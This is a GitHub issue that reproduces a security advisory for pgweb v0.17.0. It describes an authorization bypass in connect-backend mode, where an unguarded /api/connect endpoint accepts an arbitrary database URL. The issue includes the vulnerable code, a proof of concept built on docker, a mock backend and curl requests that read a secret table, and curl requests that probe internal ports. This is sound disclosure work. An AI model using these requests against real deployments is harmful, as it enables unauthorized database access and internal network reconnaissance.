Skip to content

Connect-backend authorization bypass via direct /api/connect arbitrary connection string #869

Description

@geo-chen

reported on 15 June 2026: https://github.com/sosedoff/pgweb/security/advisories/GHSA-4vqc-8j34-prvw

Affected version: v0.17.0

Summary

When pgweb is deployed with the Connect feature (--sessions --connect-backend=<url> --connect-token=<token>), the third-party backend is the authorization gateway: it maps an opaque resource identifier and the request headers of the authenticated end user to a specific database connection string, and is expected to be the only way a user reaches a database. The /api/connect endpoint remains registered and unguarded in this mode, so any end user can POST an attacker-supplied url form value and open a connection to any database reachable from the pgweb host, completely bypassing the backend. This grants access to databases the backend would never authorize (other tenants, internal-only databases) and turns pgweb into a server-side request forwarder against the internal network.

Details

Routes are registered in pkg/api/routes.go. In --sessions mode (which --connect-backend forces on, see pkg/command/options.go:135), both the backend route and the direct connect route are live:

root.GET("/connect/:resource", ConnectWithBackend)   // backend-gated path
...
api.POST("/connect", Connect)                         // direct, attacker-controlled path

Connect (pkg/api/api.go:145) has no awareness of connect-backend mode. Its only guards are LockSession, a bookmark_id branch, and BookmarksOnly:

func Connect(c *gin.Context) {
	if command.Opts.LockSession {
		badRequest(c, errSessionLocked)
		return
	}
	if bookmarkID := c.Request.FormValue("bookmark_id"); bookmarkID != "" {
		cl, err = ConnectWithBookmark(bookmarkID)
	} else if command.Opts.BookmarksOnly {
		err = errNotPermitted
	} else {
		cl, err = ConnectWithURL(c)        // <-- reached in connect-backend mode
	}
	...
}

BookmarksOnly cannot be combined with --connect-backend (rejected in pkg/command/options.go:177), so in a connect-backend deployment BookmarksOnly is always false and the else branch runs. ConnectWithURL (pkg/api/api.go:187) reads an arbitrary connection string straight from the request:

func ConnectWithURL(c *gin.Context) (*client.Client, error) {
	url := c.Request.FormValue("url")
	...
	return client.NewFromUrl(url, sshInfo)
}

The session in --sessions mode is keyed entirely by a client-supplied value (x-session-id header or _session_id query parameter, see pkg/api/helpers.go:86), so the attacker simply picks their own session id, calls /api/connect, and then issues queries against the connection they created. The connection created this way is not flagged External, so even the SwitchDb/GetDatabases External guards do not constrain it.

The net effect: the backend's resource-to-database authorization (the entire security purpose of the Connect feature) is bypassed. The same url value also lets the user point pgweb at arbitrary internal host:port targets; distinct error responses ("connection refused" vs "i/o timeout" vs a successful handshake) make this a usable internal port and service probe.

PoC

Prerequisites: a pgweb host running in connect-backend mode, a backend that authorizes exactly one database, and a second "secret" database that the backend never offers but which is reachable from the pgweb host.

  1. Start two PostgreSQL instances. The "authorized" one on port 6001, and a "secret" one on port 6002 that the backend will never hand out:
docker run -d --name authorized -e POSTGRES_PASSWORD=authpw -e POSTGRES_USER=authuser -e POSTGRES_DB=authorized_db -p 6001:5432 postgres:15
docker run -d --name secret -e POSTGRES_PASSWORD=secretpw -e POSTGRES_USER=secretuser -e POSTGRES_DB=secret_db -p 6002:5432 postgres:15
docker exec secret psql -U secretuser -d secret_db -c "CREATE TABLE classified(secret text); INSERT INTO classified VALUES ('TOP-SECRET-CREDENTIAL-12345');"
  1. Run a backend that only ever returns the authorized database (this is the access-control gateway):
// backend.go
package main
import ("encoding/json"; "net/http")
func main() {
	resources := map[string]string{
		"id1": "postgres://authuser:authpw@127.0.0.1:6001/authorized_db?sslmode=disable",
	}
	http.HandleFunc("/", func(rw http.ResponseWriter, req *http.Request) {
		var r struct{ Resource, Token string; Headers map[string]string }
		json.NewDecoder(req.Body).Decode(&r)
		url, ok := resources[r.Resource]
		if !ok { rw.WriteHeader(404); return }
		json.NewEncoder(rw).Encode(map[string]string{"database_url": url})
	})
	http.ListenAndServe("127.0.0.1:4567", nil)
}
go run backend.go &
  1. Run pgweb in connect-backend mode:
pgweb --sessions --connect-backend=http://127.0.0.1:4567 --connect-token=test --bind=127.0.0.1 --listen=8081 --skip-open
  1. As an attacker, skip the backend entirely. Pick your own session id and connect directly to the secret database, then read it:
ATK="attacker-chosen-session-0001"
curl -s -XPOST "127.0.0.1:8081/api/connect?_session_id=$ATK" \
  --data-urlencode "url=postgres://secretuser:secretpw@127.0.0.1:6002/secret_db?sslmode=disable"

curl -s -XPOST "127.0.0.1:8081/api/query?_session_id=$ATK" \
  --data-urlencode "query=SELECT * FROM classified"

Observed output:

# step 1 (legitimate, backend-gated) connect/id1 -> redirect Location: /?session=d7b9fbf5-880e-4f6a-9fe3-e0f5c30124e5
# GET /api/connection for that session -> {"current_database":"authorized_db","current_user":"authuser", ...}

# step 4 attack: POST /api/connect with attacker-chosen session and arbitrary url ->
{"current_database":"secret_db","current_schemas":"{public}","current_user":"secretuser","inet_server_addr":"172.17.0.3", ... }

# step 4 attack: POST /api/query ->
{"columns":["secret"],"rows":[["TOP-SECRET-CREDENTIAL-12345"]],"stats":{"columns_count":1,"rows_count":1, ...}}

The attacker read TOP-SECRET-CREDENTIAL-12345 from secret_db, a database the backend never authorized for any user.

Internal probing, same endpoint:

# point at a non-postgres internal service
curl -s -XPOST "127.0.0.1:8081/api/connect?_session_id=p1" --data-urlencode "url=postgres://x:x@127.0.0.1:4567/db?sslmode=disable&connect_timeout=2"
-> {"error":"read tcp 127.0.0.1:...->127.0.0.1:4567: i/o timeout","status":400}

# closed port
curl -s -XPOST "127.0.0.1:8081/api/connect?_session_id=p2" --data-urlencode "url=postgres://x:x@127.0.0.1:6543/db?sslmode=disable&connect_timeout=2"
-> {"error":"connection refused","status":400}

Impact

Any end user able to reach the pgweb HTTP endpoint in connect-backend mode can fully bypass the backend authorization gateway and open a database connection of their choosing. They gain read/write SQL access (subject to the target database credentials they supply, but also to any host the pgweb process can reach, including localhost-only and other-tenant databases on the internal network) and can use the connect error responses to map internal services. This defeats the entire purpose of the connect-backend feature, which exists to restrict which databases a given user may access.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions